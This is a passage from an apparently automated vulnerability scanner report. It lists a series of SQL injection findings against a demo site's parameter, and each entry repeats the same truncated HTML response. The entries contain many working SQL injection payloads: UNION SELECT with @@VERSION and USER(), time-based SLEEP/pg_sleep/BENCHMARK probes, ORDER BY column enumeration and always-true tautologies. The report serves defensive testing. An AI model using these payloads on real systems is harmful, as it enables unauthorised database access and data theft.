+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1440
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1441
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 2
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1442
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1) or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1443
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1444
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin") or "1"="1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1445
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AnD SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1446
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1447
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1448
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 18
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1449
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1450Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or ''^'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1451
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT USER(),SLEEP(5)-
-
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1452
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1453
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1# ORDER BY 20#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1454
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# (SELECT * FROM (SELECT(SLEEP(5)))ecMj
)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
